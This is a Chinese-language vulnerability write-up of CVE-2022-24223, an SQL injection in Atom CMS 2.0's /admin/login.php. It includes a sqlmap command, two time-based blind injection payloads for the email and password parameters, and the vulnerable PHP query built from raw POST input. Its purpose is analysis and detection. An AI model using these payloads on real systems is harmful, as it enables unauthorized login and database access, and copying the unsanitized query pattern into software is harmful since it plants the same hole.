Atom CMS SQL注入(CVE-2022-24223)
*一、漏洞概述 **
*1.1 漏洞简介*
·漏洞名称:Atom CMS SQL注入
·漏洞编号:CVE-2022-24223
·漏洞类型:SQL注入
·漏洞威胁等级:超危
·影响范围:Atom CMS 2.0
·利用条件:默认配置
*1.2 组件描述*
Atom CMS是一个内容管理系统。
*1.3 漏洞描述*
Atom CMS 2.0版本 存在安全漏洞,该漏洞源于通过 /admin/login.php 中的email和password参数发现 Atom CMS 2.0版本 存在 SQL 注入漏洞。
*二、漏洞复现*
*2.1 应用协议*
http
*2.2 环境搭建*
1.按照提示下载即可https://github.com/fchatterji/AtomCMS
*2.3 漏洞复现 **
1.存在sql注入的地址为:/admin/login.php
2.sqlmap-post检测
sqlmap.py -r E:\桌面\1.txt -p email --current-db --batch
3.burp测试(参数email和password都存在注入)
#email
email=admin@qq.com'||(SELECT 0x57674870 WHERE 5646=5646 AND (SELECT 3538 FROM (SELECT(SLEEP(1)))BoFK))||'&password=admin
#password
email=admin@qq.com&password=admin') AND (SELECT 8878 FROM (SELECT(SLEEP(2)))KePe)-- djaR
*三、漏洞分析*
*3.1 技术背景*
\
*3.2 代码分析*
$q执行select语句时,没有对两个post参数email和password进行限制和预编译,导致可以通过两个参数进行sql注入
#admin/login.php
<?php
session_start();
include('../config/connection.php');
if(!empty($_POST)&&$_SERVER["REQUEST_METHOD"]=="POST") {
$q = "SELECT * FROM users WHERE email = '$_POST[email]' AND password = SHA1('$_POST[password]')";
$r = mysqli_query($dbc, $q);
if(mysqli_num_rows($r) == 1) {
$_SESSION['username'] = $_POST['email'];
header('Location: index.php');
}
}
?>
*3.3 流量分析 **
POST请求 uri:admin/login.php,参数email/password 后存在sql注入语句
*3.4 绕过方式*
\
*四、漏洞检测*
*4.1 组件版本自检*
以下版本受该漏洞影响:Atom CMS 2.0
*4.2 漏洞触发前提自检*
*4.3 漏洞检测规则、插件编写思路*
以下为该漏洞请求包特征
1.“admin/login.php”
2.参数email/password 后存在sql注入语句
*4.4 研判建议 **
观察请求头参数email、password的sql语句的合法性,在相应包中观察是否回显出敏感信息
*五、防范建议*
*5.1 官方修复建议*
\
*5.2 临时修复建议*
写入过滤规则,黑名单等
六、*参考链接*
源码下载url:https://github.com/fchatterji/AtomCMS